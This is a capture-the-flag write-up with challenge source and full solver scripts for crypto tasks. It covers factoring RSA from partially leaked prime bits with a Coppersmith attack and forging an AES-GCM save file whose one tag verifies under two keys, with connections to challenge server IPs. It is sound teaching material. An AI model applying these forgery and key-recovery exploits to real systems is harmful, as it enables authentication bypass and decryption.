Crypto
FactorGame
import sys
from random import SystemRandom
from Crypto.Util.number import getStrongPrime
def show(data):
data = "".join(map(str, data))
sys.stdout.write(data)
sys.stdout.flush()
def input():
return sys.stdin.readline().strip()
def main():
show('Welcome to the FactorGame\n')
show("The Game is simple factor N given N and bits of p, q\n")
show("you have 5 lives for each game\n")
show("win 8 out of 10 games to get the flag\n")
show("good luck\n\n")
known = 264
success = 0
for i in range(10):
show(f"game{i + 1} start!\n")
life = 5
while life > 0:
p = getStrongPrime(512)
q = getStrongPrime(512)
N = p * q
cryptogen = SystemRandom()
counter = 0
while counter < 132 * 2 or counter > 137 * 2:
counter = 0
p_mask = 0
q_mask = 0
for _ in range(known):
if cryptogen.random() < 0.5:
p_mask |= 1
counter += 1
if cryptogen.random() < 0.5:
q_mask |= 1
counter += 1
p_mask <<= 1
q_mask <<= 1
p_redacted = p & p_mask
q_redacted = q & q_mask
show(f'p : {hex(p_redacted)}\n')
show(f'p_mask : {hex(p_mask)}\n')
show(f'q : {hex(q_redacted)}\n')
show(f'q_mask : {hex(q_mask)}\n')
show(f'N : {hex(N)}\n')
show('input p in hex format : ')
inp = int(input(), 16)
show('input q in hex format : ')
inq = int(input(), 16)
if inp == p and inq == q:
success += 1
show('success!\n')
break
else:
show('wrong p, q\n')
life -= 1
show(f'{life} lives left\n')
if success >= 8:
show('master of factoring!!\n')
flag = open('/flag', 'r').read()
show(f'here is your flag : {flag}\n')
else:
show('too bad\n')
show('mabye next time\n')
exit()
if __name__ == "__main__":
main()
Given two 512-bit prime numbers p and q, the product N = pq is provided, along with the 265th~ 273rd bits of both p and q.
The objective is to correctly determine p and q to win the game; failure results in the loss of a life, and a new paidr p, q will be provided.
If all lives are lost, the game is lost.
In each set of 10 games, 5 lives are provided, and you must win at least 8 out of 10 games to succeed.
idea
First, the candidate values for the lower 264bits of p and q can be computed using a DFS approach.
Given N is approximately 1023 to 1024 bits, the unknown bits of p amount to 248 bits.
Since 248=1024(0.5^2-1/128), a Coppersmith attack(
exploit
from pwn import *
from subprocess import check_output
from re import findall
import sys
import time
sys.set_int_max_str_digits(310000)
def flatter(M):
z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"
env = {"FLATTER_LOG": "./log"}
ret = check_output(["flatter"], input=z.encode(),env=env,executable="...") # executable must be path of flatter
return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\\d+", ret)))
# r = process(["python", "FactorGame.py"])
r = remote("3.38.106.210", "8287")
connected_time = time.time()
known = 264
MAX = 12
# recover 264 lower bits
def solve1(N, p_redacted, p_mask, q_redacted, q_mask):
p_arr = []
q_arr = []
for i in range(known):
if p_mask & 1 == 1:
p_arr.append(p_redacted & 1)
else:
p_arr.append(2)
p_redacted >>= 1
p_mask >>= 1
if q_mask & 1 == 1:
q_arr.append(q_redacted & 1)
else:
q_arr.append(2)
q_redacted >>= 1
q_mask >>= 1
candidates = []
states = [[(0, 0)]]
p, q = 0, 0
while len(states):
if len(states[-1]) == 0:
states.pop()
continue
p, q = states[-1].pop()
if len(states) == known + 1:
if (p * q) & ((1 << known) - 1) == N & ((1 << known) - 1):
candidates.append((p, q))
if len(candidates) > MAX:
break
continue
rnd = len(states) - 1
t = []
for s1 in range(2):
for s2 in range(2):
if p_arr[rnd] != 2 and p_arr[rnd] != s1:
continue
if q_arr[rnd] != 2 and q_arr[rnd] != s2:
continue
if (p + (s1 << rnd)) * (q + (s2 << rnd)) % (1 << (rnd + 1)) == N % (
1 << (rnd + 1)
):
p += s1 << rnd
q += s2 << rnd
t.append((p, q))
p -= s1 << rnd
q -= s2 << rnd
states.append(t)
return candidates
# https://github.com/mimoo/RSA-and-LLL-attacks/blob/871f51d09df82f7eeaaf8b1fad11b44b2221b4c8/coppersmith.sage
debug = False
# display matrix picture with 0 and X
def matrix_overview(BB, bound):
for ii in range(BB.dimensions()[0]):
a = ('%02d ' % ii)
for jj in range(BB.dimensions()[1]):
a += '0' if BB[ii,jj] == 0 else 'X'
a += ' '
if BB[ii, ii] >= bound:
a += '~'
print(a)
def coppersmith_howgrave_univariate(pol, modulus, beta, mm, tt, XX):
"""
Coppersmith revisited by Howgrave-Graham
finds a solution if:
* b|modulus, b >= modulus^beta , 0 < beta <= 1
* |x| < XX
"""
#
# init
#
dd = pol.degree()
nn = dd * mm + tt
#
# checks
#
if not 0 < beta <= 1:
raise ValueError("beta should belongs in (0, 1]")
if not pol.is_monic():
raise ArithmeticError("Polynomial must be monic.")
#
# calculate bounds and display them
#
"""
* we want to find g(x) such that ||g(xX)|| <= b^m / sqrt(n)
* we know LLL will give us a short vector v such that:
||v|| <= 2^((n - 1)/4) * det(L)^(1/n)
* we will use that vector as a coefficient vector for our g(x)
* so we want to satisfy:
2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n)
so we can obtain ||v|| < N^(beta*m) / sqrt(n) <= b^m / sqrt(n)
(it's important to use N because we might not know b)
"""
if debug:
# t optimized?
print("\n# Optimized t?\n")
print("we want X^(n-1) < N^(beta*m) so that each vector is helpful")
cond1 = RR(XX^(nn-1))
print("* X^(n-1) = ", cond1)
cond2 = pow(modulus, beta*mm)
print("* N^(beta*m) = ", cond2)
print("* X^(n-1) < N^(beta*m) \n-> GOOD" if cond1 < cond2 else "* X^(n-1) >= N^(beta*m) \n-> NOT GOOD")
# bound for X
print("\n# X bound respected?\n")
print("we want X <= N^(((2*beta*m)/(n-1)) - ((delta*m*(m+1))/(n*(n-1)))) / 2 = M")
print("* X =", XX)
cond2 = RR(modulus^(((2*beta*mm)/(nn-1)) - ((dd*mm*(mm+1))/(nn*(nn-1)))) / 2)
print("* M =", cond2)
print("* X <= M \n-> GOOD" if XX <= cond2 else "* X > M \n-> NOT GOOD")
# solution possible?
print("\n# Solutions possible?\n")
detL = RR(modulus^(dd * mm * (mm + 1) / 2) * XX^(nn * (nn - 1) / 2))
print("we can find a solution if 2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n)")
cond1 = RR(2^((nn - 1)/4) * detL^(1/nn))
print("* 2^((n - 1)/4) * det(L)^(1/n) = ", cond1)
cond2 = RR(modulus^(beta*mm) / sqrt(nn))
print("* N^(beta*m) / sqrt(n) = ", cond2)
print("* 2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n) \n-> SOLUTION WILL BE FOUND" if cond1 < cond2 else "* 2^((n - 1)/4) * det(L)^(1/n) >= N^(beta*m) / sqroot(n) \n-> NO SOLUTIONS MIGHT BE FOUND (but we never know)")
# warning about X
print("\n# Note that no solutions will be found _for sure_ if you don't respect:\n* |root| < X \n* b >= modulus^beta\n")
#
# Coppersmith revisited algo for univariate
#
# change ring of pol and x
polZ = pol.change_ring(ZZ)
x = polZ.parent().gen()
# compute polynomials
gg = []
for ii in range(mm):
for jj in range(dd):
gg.append((x * XX)**jj * modulus**(mm - ii) * polZ(x * XX)**ii)
for ii in range(tt):
gg.append((x * XX)**ii * polZ(x * XX)**mm)
# construct lattice B
BB = Matrix(ZZ, nn)
for ii in range(nn):
for jj in range(ii+1):
BB[ii, jj] = gg[ii][jj]
# display basis matrix
if debug:
matrix_overview(BB, modulus^mm)
# use flatter
#BB = BB.LLL()
BB = flatter(BB)
# transform shortest vector in polynomial
new_pol = 0
for ii in range(nn):
new_pol += x**ii * BB[0, ii] / XX**ii
# factor polynomial
potential_roots = new_pol.roots()
print("potential roots:", potential_roots)
# test roots
roots = []
for root in potential_roots:
if root[0].is_integer():
result = polZ(ZZ(root[0]))
#if gcd(modulus, result) >= modulus^beta:
if gcd(modulus, result) > 1:
roots.append(ZZ(root[0]))
#
return roots
P.<x> = PolynomialRing(ZZ)
success_cnt = 0
fail_cnt = 0
for _ in range(10):
print(time.time() - connected_time, success_cnt, _ - success_cnt)
r.recvuntil(b'start!\n')
if _ - success_cnt > 2:
print("failed")
r.close()
exit(-1)
if success_cnt == 8:
for lifes in range(5):
r.sendlineafter(b'format : ', b'0')
r.sendlineafter(b'format : ', b'0')
continue
for lifes in range(5):
r.recvuntil(b'p : ')
p_redacted = int(r.recvline()[0:],16)
p_mask = int(r.recvline()[9:],16)
q_redacted = int(r.recvline()[4:],16)
q_mask = int(r.recvline()[9:],16)
N = int(r.recvline()[4:],16)
print("start")
candidates = solve1(N, p_redacted, p_mask, q_redacted, q_mask)
print(len(candidates))
ln = 2^known
if len(candidates) > MAX:
r.sendlineafter(b'format : ', b'0')
r.sendlineafter(b'format : ', b'0')
continue
for cand in candidates:
p, q = cand
assert p < 2^known
assert q < 2^known
assert (p*q) & (2^known - 1) == N & (2^known - 1)
X = Y = 2^(512+1-known)
pol = 2^known * x + p
pol *=ZZ(pow(list(pol)[-1],-1,N))
pol %= N
dd = pol.degree()
# Tweak those
beta = 0.5
epsilon = 1/128
mm = ceil(beta**2 / (dd * epsilon)) # optimized value
tt = floor(dd * mm * ((1/beta) - 1)) # optimized value
XX = ceil(N**((beta**2/dd) - epsilon)) # optimized value
roots = coppersmith_howgrave_univariate(pol, N, beta, mm, tt, XX)
if roots:
break
else:
print("failed")
continue
root = roots[0]
p = (root << known) + p
q = N // p
assert p * q == N
r.sendlineafter(b' : ', hex(p).encode())
r.sendlineafter(b' : ', hex(q).encode())
print(r.recvline())
success_cnt += 1
break
r.interactive()
r.close()
To avoid timeout, proceed with the recovery only when the number of candidates is below a certain threshold.
Cogechan_Dating_Game
client/client.py:
import Character
import credential
import messages
import pygame
from pygame.locals import QUIT
import random
import string
import sys
import socket
import time
import hashlib
import os
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
EAT_COMMAND = 1
PWN_COMMAND = 2
SLEEP_COMMAND = 3
DATE_COMMAND = 4
SAVE_COMMAND = 5
SAVE_SUCCESS = 11
SAVE_FAIL = 12
DEBUG = True
def alert(s):
if DEBUG:
print(s)
else:
return
def get_random_str():
return ''.join(random.sample(string.ascii_lowercase + string.ascii_uppercase + string.digits, k = 20)) + os.urandom(10).hex()
def get_credential():
status, ID, PW, nickname = credential.load_credential()
if status == credential.LOAD_SUCCESS:
alert("[+] Load credential.. success")
else:
ID = get_random_str()
PW = get_random_str()
nickname = "You"
status = credential.save_credential(ID, PW, nickname)
if status == credential.SAVE_SUCCESS:
alert("[+] Save a new credential.. success")
else:
alert("[-] Save a new credential.. failed")
exit(-1)
return ID, PW, nickname
def encrypt_data(ID, PW, character):
id_hash = hashlib.sha256(ID.encode()).digest()
pw_hash = hashlib.sha256(PW.encode()).digest()
nonce = id_hash[:12]
file_name = id_hash[16:24].hex()
key = pw_hash[:16]
cipher = AES.new(key, AES.MODE_GCM, nonce)
file_data = b''
file_data += len(character.nickname).to_bytes(2, 'little')
file_data += character.nickname.encode()
file_data += character.day.to_bytes(4, 'little')
file_data += character.stamina.to_bytes(4, 'little')
file_data += character.intelligence.to_bytes(4, 'little')
file_data += character.friendship.to_bytes(4, 'little')
file_data = pad(file_data, 16)
file_data_enc, tag = cipher.encrypt_and_digest(file_data)
return file_data_enc, tag
...
def GUI(ID, PW, character, sock, is_new_game):
#### GUI INIT ####
...
last_click = None
while True:
for event in pygame.event.get():
if event.type == QUIT:
pygame.quit()
sock.close()
exit()
if event.type == pygame.MOUSEBUTTONUP:
if last_click != None and (time.time() - last_click) < 0.4:
continue
mouse = pygame.mouse.get_pos()
...
# Game save
elif 850 <= mouse[0] <= 850+170 and 70 <= mouse[1] <= 70+50:
sock.send(SAVE_COMMAND.to_bytes(1, 'little'))
file_data_enc, tag = encrypt_data(ID, PW, character)
sock.send(len(file_data_enc).to_bytes(2, 'little') + file_data_enc)
sock.send(tag)
status = int.from_bytes(sock.recv(1), 'little')
if status == 0:
put_script(font, screen, 'System', f'Server connection broken.. bye..', 1)
exit()
elif status == SAVE_SUCCESS:
put_script(font, screen, "System", "Save success")
else:
put_script(font, screen, "System", "Save failed")
last_click = time.time()
put_character_status(font, screen, character)
def main():
if len(sys.argv) != 3:
print(f"usage : {sys.argv[0]} ip port")
return
ip = sys.argv[1]
port = int(sys.argv[2])
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((ip, port))
except:
alert("[-] failed to connect a server")
return
ID, PW, nickname = get_credential()
sock.send(len(ID).to_bytes(2, 'little') + ID.encode())
sock.send(len(PW).to_bytes(2, 'little') + PW.encode())
status = sock.recv(1)
character = Character.Character()
if status[0] == 1: # LOAD_SUCCESS
nickname_len = int.from_bytes(sock.recv(2), 'little')
character.nickname = sock.recv(nickname_len).decode()
character.day = int.from_bytes(sock.recv(4), 'little')
character.stamina = int.from_bytes(sock.recv(4), 'little')
character.intelligence = int.from_bytes(sock.recv(4), 'little')
character.friendship = int.from_bytes(sock.recv(4), 'little')
else:
sock.send(len(nickname).to_bytes(2, 'little') + nickname.encode())
character.nickname = nickname
character.stamina = 100
GUI(ID, PW, character, sock, status[0] == 1)
if __name__ == "__main__":
main()
server/server.py
#!/usr/bin/python3
import Character
import load_and_save
import base64
import sys
import socket
import os
import random
EAT_COMMAND = 1
PWN_COMMAND = 2
SLEEP_COMMAND = 3
DATE_COMMAND = 4
SAVE_COMMAND = 5
DEBUG = True
def read_flag():
with open("flag", "r") as f:
flag = f.read()
return flag
def load(ID, PW):
status, character_load = load_and_save.load_game(ID, PW)
if status == load_and_save.LOAD_SUCCESS:
character = character_load
return status, character
new_character = Character.Character()
new_character.stamina = 100
return status, new_character
def go(sock):
sock.settimeout(60) # No response for 60s then connection will be closed.
# trying to load a save file based on ID, PW first
ID_len = int.from_bytes(sock.recv(2), 'little')
ID = sock.recv(ID_len).decode()
PW_len = int.from_bytes(sock.recv(2), 'little')
PW = sock.recv(PW_len).decode()
status, character = load(ID, PW)
sock.send(status.to_bytes(1, 'little'))
if status == load_and_save.LOAD_SUCCESS:
sock.send(len(character.nickname).to_bytes(2, 'little') + character.nickname.encode())
sock.send(character.day.to_bytes(4, 'little'))
sock.send(character.stamina.to_bytes(4, 'little'))
sock.send(character.intelligence.to_bytes(4, 'little'))
sock.send(character.friendship.to_bytes(4, 'little'))
if status != load_and_save.LOAD_SUCCESS:
nickname_len = int.from_bytes(sock.recv(2), 'little')
character.nickname = sock.recv(nickname_len).decode('utf-8', 'ignore')
character.stamina = 100
while True:
com = int.from_bytes(sock.recv(1), 'little')
...
elif com == SAVE_COMMAND:
file_data_enc_len = int.from_bytes(sock.recv(2), 'little')
file_data_enc = sock.recv(file_data_enc_len)
tag = sock.recv(16)
status = load_and_save.save_game(ID, PW, character, file_data_enc, tag)
sock.send(status.to_bytes(1, 'little'))
def main():
if len(sys.argv) != 3:
print(f"usage : {sys.argv[0]} [host] [port]")
return
ip = sys.argv[1]
port = int(sys.argv[2])
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((ip, port))
sock.listen(0x10)
while True:
client_sock, addr = sock.accept()
if DEBUG:
print(f"[+] new connection - {addr[0]}")
pid = os.fork()
if pid == 0:
try:
go(client_sock)
except Exception as e:
if DEBUG:
print(e, '-', addr[0])
client_sock.close()
exit()
else:
client_sock.close()
if __name__ == "__main__":
main()
server/load_and_save.py
import json
import hashlib
import json
import Character
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
LOAD_SUCCESS = 1
LOAD_FAIL = 2
SAVE_SUCCESS = 11
SAVE_FAIL = 12
def decrypt_and_parse_save_data(key, nonce, save_data, tag):
cipher = AES.new(key, AES.MODE_GCM, nonce)
file_data = unpad(cipher.decrypt_and_verify(save_data, tag), 16)
idx = 0
nickname_len = int.from_bytes(file_data[idx:idx+2], 'little')
idx += 2
nickname = file_data[idx:idx+nickname_len].decode('utf-8', 'ignore')
idx += nickname_len
day = int.from_bytes(file_data[idx:idx+4], 'little')
idx += 4
stamina = int.from_bytes(file_data[idx:idx+4], 'little')
idx += 4
intelligence = int.from_bytes(file_data[idx:idx+4], 'little')
idx += 4
friendship = int.from_bytes(file_data[idx:idx+2], 'little')
character = Character.Character(nickname, day, stamina, intelligence, friendship)
return character
def id_pw_validity_check(ID, PW):
if len(ID) < 20 or len(PW) < 20:
return False
if len(set(ID)) < 20 or len(set(PW)) < 20:
return False
if ID == PW:
return False
return True
def load_game(ID, PW):
if not id_pw_validity_check(ID, PW):
return LOAD_FAIL, None
id_hash = hashlib.sha256(ID.encode()).digest()
pw_hash = hashlib.sha256(PW.encode()).digest()
nonce = id_hash[:12]
file_name = id_hash[16:24].hex()
key = pw_hash[:16]
# read save file
try:
with open(f'save/{file_name}', 'rb') as f:
raw_data = f.read()
file_data_enc = raw_data[:-16]
tag = raw_data[-16:]
except Exception as e:
return LOAD_FAIL, None
# parse it!
try:
character = decrypt_and_parse_save_data(key, nonce, file_data_enc, tag)
except Exception as e: # error during decryption
print("LOAD!!", e)
return LOAD_FAIL, None
return LOAD_SUCCESS, character
def save_game(ID, PW, character, save_data, tag):
if not id_pw_validity_check(ID, PW):
return SAVE_FAIL
id_hash = hashlib.sha256(ID.encode()).digest()
pw_hash = hashlib.sha256(PW.encode()).digest()
nonce = id_hash[:12]
file_name = id_hash[16:24].hex()
key = pw_hash[:16]
try:
character_parse = decrypt_and_parse_save_data(key, nonce, save_data, tag)
if character.day != character_parse.day or \
character.stamina != character_parse.stamina or \
character.intelligence != character_parse.intelligence or \
character.friendship != character_parse.friendship:
return SAVE_FAIL
if character.friendship >= 20: # Please do not save almost-cleared one
return SAVE_FAIL
except Exception as e: # error during decryption
print("SAVE!!", e)
return SAVE_FAIL
try:
with open(f'save/{file_name}', 'wb') as f:
f.write(save_data)
f.write(tag)
except:
return SAVE_FAIL, None
return SAVE_SUCCESS
When saving the current state, the server directly stores the encrypted save file sent by the client.
In this process, the filename and nonce are generated from the ID, and the key is derived from the password (PW). The file is then decrypted and verified using AES-GCM mode, with the tag being stored alongside the file.
When the player loads the game, the server decrypts and interprets the file using AES-GCM mode to load the game.
idea
The key idea is to decrypt the same save file with two different keys so that each decryption results in the desired interpretation. In this process, the filename, nonce, ciphertext, and tag all remain identical.
def decrypt_and_parse_save_data(key, nonce, save_data, tag):
cipher = AES.new(key, AES.MODE_GCM, nonce)
file_data = unpad(cipher.decrypt_and_verify(save_data, tag), 16)
idx = 0
nickname_len = int.from_bytes(file_data[idx:idx+2], 'little')
idx += 2
nickname = file_data[idx:idx+nickname_len].decode('utf-8', 'ignore')
idx += nickname_len
day = int.from_bytes(file_data[idx:idx+4], 'little')
idx += 4
stamina = int.from_bytes(file_data[idx:idx+4], 'little')
idx += 4
intelligence = int.from_bytes(file_data[idx:idx+4], 'little')
idx += 4
friendship = int.from_bytes(file_data[idx:idx+2], 'little')
character = Character.Character(nickname, day, stamina, intelligence, friendship)
return character
The interpretation of the save file is done as follows. We ensure that the length of the nickname is 0xE with key1 and 0x1E with key2 so that the data is positioned in the 2nd block when decrypted with key1 and in the 3rd block with key2.
To achieve this, the first 2 bytes of the decrypted data should be 0E00 with key1 and 1E00 with key2. This means that the first 2 bytes of the XORed value of the encrypted same counter1 block must be 1000.
Additionally, to pass the padding validation, the last byte of the 5th block should be 01, so the last byte of the encrypted same counter5 block must match.
In other words, we need to find a pair of passwords, PW1 and PW2, that generate key1 and key2, satisfying these 3-byte conditions.
After that, we'll craft the ciphertext for the 1st, 2nd, 3rd, and 5th blocks to contain the desired information and pass the padding check, and then construct the 4th block so that the tag calculated for both keys matches!
exploit
import Character
import credential
import messages
from Crypto.Util.number import bytes_to_long, long_to_bytes
#import pygame
#from pygame.locals import QUIT
import random
import string
import sys
import socket
import time
import hashlib
import os
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
def xor(a, b):
return bytes([x ^^ y for x, y in zip(a, b)])
BF.<X> = GF(2)[]
FF.<A> = GF(2 ^ 128, modulus=X ^ 128 + X ^ 7 + X ^ 2 + X + 1)
P.<x> = PolynomialRing(FF)
# int to element
def int2ele(integer):
res = 0
for i in range(128):
# rightmost bit is x127
res += (integer & 1) * (A ^ (127 - i))
integer >>= 1
return res
# bytes to element
def bytes2ele(b):
return int2ele(bytes_to_long(b))
# element to int
def ele2int(element):
integer = element.integer_representation()
res = 0
for i in range(128):
res = (res << 1) + (integer & 1)
integer >>= 1
return res
# element to bytes
def ele2bytes(ele):
return long_to_bytes(ele2int(ele))
# len(A)||len(C) 블럭을 FF의 원소로 리턴
def bitlen_block(auth_len, plain_len):
auth_bitlen = auth_len * 8
plain_bitlen = plain_len * 8
return int2ele((auth_bitlen << 64) | plain_bitlen)
def get_enc(c):
assert len(c) % 0x10 == 0
c_bitlen_block = bitlen_block(0, len(c))
c = [bytes2ele(c[i : i + 16]) for i in range(0, len(c), 16)]
return c, c_bitlen_block
def get_random_str():
return ''.join(random.sample(string.ascii_lowercase + string.ascii_uppercase + string.digits, k = 20)) + os.urandom(10).hex()
ID = "VtzP34rpvMCKZRs2aQoWd1cba94d60b669aa3ecf" #get_random_str()
id_hash = hashlib.sha256(ID.encode()).digest()
nonce = id_hash[:12]
file_name = id_hash[16:24].hex()
PW1 = "fVqKAnCerU0zJ9g8u4Iwaf234a6ed4a92904d910" #get_random_str()
pw_hash1 = hashlib.sha256(PW1.encode()).digest()
key1 = pw_hash1[:16]
cipher1 = AES.new(key1, AES.MODE_GCM, nonce=nonce)
E1 = cipher1.encrypt(b'\x00' * 0x50)
nick1 = xor(E1[:2], b'\x0e\x00') + E1[-1:]
while True:
PW2 = "i8WfMaIQn4gGdxAtrsoJb53b314ca108d841b464" #get_random_str()
pw_hash2 = hashlib.sha256(PW2.encode()).digest()
key2 = pw_hash2[:16]
cipher2 = AES.new(key2, AES.MODE_GCM, nonce=nonce)
E2 = cipher2.encrypt(b'\x00' * 0x50)
nick2 = xor(E2[:2], b'\x1e\x00') + E2[-1:]
if nick1 == nick2:
break
payload = b'\x0e\x00' + b'a' * 0xe
payload += int(0).to_bytes(4, 'little')
payload += int(100).to_bytes(4, 'little')
payload += int(0).to_bytes(4, 'little')
payload += int(0).to_bytes(4, 'little')
payload += int(0).to_bytes(4, 'little')
payload += int(100).to_bytes(4, 'little')
payload += int(0xFFFFFFFF).to_bytes(4, 'little')
payload += int(33).to_bytes(4, 'little')
payload = xor(payload, E1[:0x20] + E2[0x20:0x30])
assert xor(payload[:2], E1[:2]) == b'\x0e\x00'
assert xor(payload[:2], E2[:2]) == b'\x1e\x00'
cipher01 = AES.new(key1, AES.MODE_ECB)
H1 = bytes2ele(cipher01.encrypt(b'\x00' * 0x10))
E_k1 = bytes2ele(cipher01.encrypt(nonce + b'\x00\x00\x00\x01'))
cipher02 = AES.new(key2, AES.MODE_ECB)
H2 = bytes2ele(cipher02.encrypt(b'\x00' * 0x10))
E_k2 = bytes2ele(cipher02.encrypt(nonce + b'\x00\x00\x00\x01'))
payload += b'\x00' * 0x10
payload += xor(b'\x01' * 0x10, E1[-0x10:])
payload_ele, bitlenblock = get_enc(payload)
assert payload_ele[3] == 0
tag1 = E_k1 + bitlenblock * H1
for i in range(5):
tag1 += payload_ele[4 - i] * H1 ^ (i + 2)
tag2 = E_k2 + bitlenblock * H2
for i in range(5):
tag2 += payload_ele[4 - i] * H2 ^ (i + 2)
last_block = (tag1 + tag2) / (H1 ^ 3 + H2 ^ 3)
tag1 += last_block * H1 ^ 3
tag2 += last_block * H2 ^ 3
assert tag1 == tag2
tag = ele2bytes(tag1)
payload = payload[:0x30] + ele2bytes(last_block) + payload[-0x10:]
cipher1 = AES.new(key1, AES.MODE_GCM, nonce=nonce)
print(cipher1.decrypt_and_verify(payload, tag))
cipher2 = AES.new(key2, AES.MODE_GCM, nonce=nonce)
print(cipher2.decrypt_and_verify(payload, tag))
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("3.35.166.110", int(3434)))
# only once
"""
# login1
sock.send(len(ID).to_bytes(2, 'little') + ID.encode())
sock.send(len(PW1).to_bytes(2, 'little') + PW1.encode())
status = sock.recv(1)
assert status[0] == 2
sock.send(b'\x0e\x00' + b'a' * 0xe)
# save1
sock.send(b'\x05')
sock.send(len(payload).to_bytes(2, 'little') + payload)
sock.send(tag)
status = int.from_bytes(sock.recv(1), 'little')
"""
# login2
sock.send(len(ID).to_bytes(2, 'little') + ID.encode())
sock.send(len(PW2).to_bytes(2, 'little') + PW2.encode())
status = int.from_bytes(sock.recv(1), 'little')
assert status == 1
ret = sock.recv(0x100)
print(ret)
# pwn2
sock.send(b'\x02')
status = int.from_bytes(sock.recv(1), 'little')
print(status)
# date2
sock.send(b'\x04')
status = int.from_bytes(sock.recv(1), 'little')
print(status)
ret = sock.recv(0x100)
print(ret)
To obtain the flag, you need to go on a date when friendship is at 33 and intelligence is at 33 bits.
The maximum value of intelligence that can be initialized through loading is 0xFFFFFFFF.
Therefore, you should first initialize it to this value, and then increase it to 33 bits through exploitation.
Baby Login
package main
import (
"bufio"
"crypto/aes"
"crypto/ecdsa"
"crypto/elliptic"
"crypto/hmac"
"crypto/rand"
"crypto/sha256"
"crypto/subtle"
"encoding/base64"
"encoding/json"
"fmt"
"io/ioutil"
"math/big"
"os"
"os/signal"
"strings"
"syscall"
"time"
"github.com/google/uuid"
)
type HTTPRequest struct {
Method string `json:"method"`
Uid string `json:"uid"`
Password string `json:"password"`
Session string `json:"session"`
Secret string `json:"secret"`
Path string `json:"path"`
}
type User struct {
userName string
userRole string
}
var SessionManager map[string]User
var SERVER_SECRET_KEY []byte
func pad(s []byte, length int) []byte {
for len(s)%length != 0 || len(s) < length {
s = append(s, byte('\x00'))
}
return s
}
func unpad(s []byte) []byte {
for s[len(s)-1] == byte('\x00') {
s = s[:len(s)-1]
}
return s
}
func KDF(Gx, Gy *big.Int, serverPriv []byte) ([]byte, []byte) {
_m, _ := elliptic.P256().ScalarMult(Gx, Gy, serverPriv)
key := pad(_m.Bytes(), 32)
return key[:16], key[16:32]
}
func passwordGen(uid, role string) []byte {
curve := elliptic.P256()
R, _ := ecdsa.GenerateKey(curve, rand.Reader)
Gx, Gy := R.PublicKey.X, R.PublicKey.Y
key1, key2 := KDF(Gx, Gy, SERVER_SECRET_KEY)
cipher, _ := aes.NewCipher(key1)
ct := make([]byte, 16)
cipher.Encrypt(ct, pad([]byte(uid+"_GUEST"), 16))
out := append(Gx.Bytes(), Gy.Bytes()...)
out = append(out, ct...)
hmac := hmac.New(sha256.New, key2)
hmac.Write(out)
tag := hmac.Sum(nil)
out = append(out, tag...)
return out
}
func indexHandler(r HTTPRequest) {
if r.Method == "GET" {
u := SessionManager[r.Session]
if u.userName == "" {
fmt.Println("Register first and login to access the website!")
return
} else {
fmt.Println("Hi " + u.userName + "! You are logged in as " + u.userRole)
}
return
} else {
fmt.Println("Method Not Allowed")
return
}
}
func registerHandler(r HTTPRequest) {
if r.Method == "GET" {
fmt.Println("You can register with your username!")
return
} else if r.Method == "POST" {
uid := r.Uid
if uid == "" {
fmt.Println("Bad Request")
return
} else if uid == "ADMIN" {
fmt.Println("Nope! You can't register as ADMIN!")
return
}
password := passwordGen(uid, "GUEST")
fmt.Println("Here is your password token : " + base64.StdEncoding.EncodeToString(password))
return
} else {
fmt.Println("Method Not Allowed")
return
}
}
func loginHandler(r HTTPRequest) {
if r.Method == "GET" {
fmt.Println("You can login with your username and password token!")
return
} else if r.Method == "POST" {
uname := SessionManager[r.Session].userName
if uname != "" {
fmt.Println("You are already logged in as " + uname)
return
}
uid := r.Uid
password := r.Password
if uid == "" || password == "" {
fmt.Println("Bad Request")
return
}
pw, err := base64.StdEncoding.DecodeString(password)
if err != nil {
fmt.Println("Bad Request")
return
}
length := len(pw)
if length < 112 || length%16 != 0 {
fmt.Println("Bad Request")
return
}
Gx := new(big.Int).SetBytes(pw[:32])
Gy := new(big.Int).SetBytes(pw[32:64])
ct, hmac_in := pw[64:length-32], pw[length-32:]
key1, key2 := KDF(Gx, Gy, SERVER_SECRET_KEY)
hmac := hmac.New(sha256.New, key2)
hmac.Write(pw[:length-32])
tag := hmac.Sum(nil)
if subtle.ConstantTimeCompare(tag, hmac_in) != 1 {
fmt.Println("Unauthorized")
return
}
cipher, _ := aes.NewCipher(key1)
pt := make([]byte, len(ct))
cipher.Decrypt(pt, ct)
tmp := strings.Split(string(unpad(pt)), "_")
if len(tmp) < 2 {
fmt.Println("Unauthorized")
return
}
userId, userRole := tmp[0], tmp[1]
if userId != uid {
fmt.Println("Unauthorized")
return
}
u, _ := uuid.NewRandom()
var user User
user.userName = userId
user.userRole = userRole
SessionManager[u.String()] = user
fmt.Println("Hello " + userId + "! You are logged in as " + userRole + "!!")
fmt.Println("Here is your session : " + u.String())
return
} else {
fmt.Println("Method Not Allowed")
return
}
}
func logoutHandler(r HTTPRequest) {
if r.Method == "GET" {
uname := SessionManager[r.Session].userName
if uname == "" {
fmt.Println("You are not logged in!")
return
}
delete(SessionManager, r.Session)
fmt.Println("Logged out successfully!")
return
} else {
fmt.Println("Method Not Allowed")
return
}
}
func flagHandler(r HTTPRequest) {
if r.Method == "POST" {
uname := SessionManager[r.Session].userName
userRole := SessionManager[r.Session].userRole
if uname != "ADMIN" || userRole != "admin" {
fmt.Println("Unauthorized")
return
}
secret := r.Secret
sec, err := base64.StdEncoding.DecodeString(secret)
if err != nil {
fmt.Println("Bad Request")
return
}
if subtle.ConstantTimeCompare(SERVER_SECRET_KEY, sec) != 1 {
fmt.Println("Unauthorized")
return
}
FLAG, _ := ioutil.ReadFile("./flag")
fmt.Println("Here is your flag : " + string(FLAG))
} else {
fmt.Println("Method Not Allowed")
return
}
}
func getRequest(r *bufio.Reader) (HTTPRequest, error) {
var err error
var input string
var request HTTPRequest
fmt.Print("> ")
input, err = r.ReadString('\n')
if err != nil {
return HTTPRequest{}, err
}
err = json.Unmarshal([]byte(input), &request)
if err != nil {
return HTTPRequest{}, err
}
return request, nil
}
func generateRandomString(length int) string {
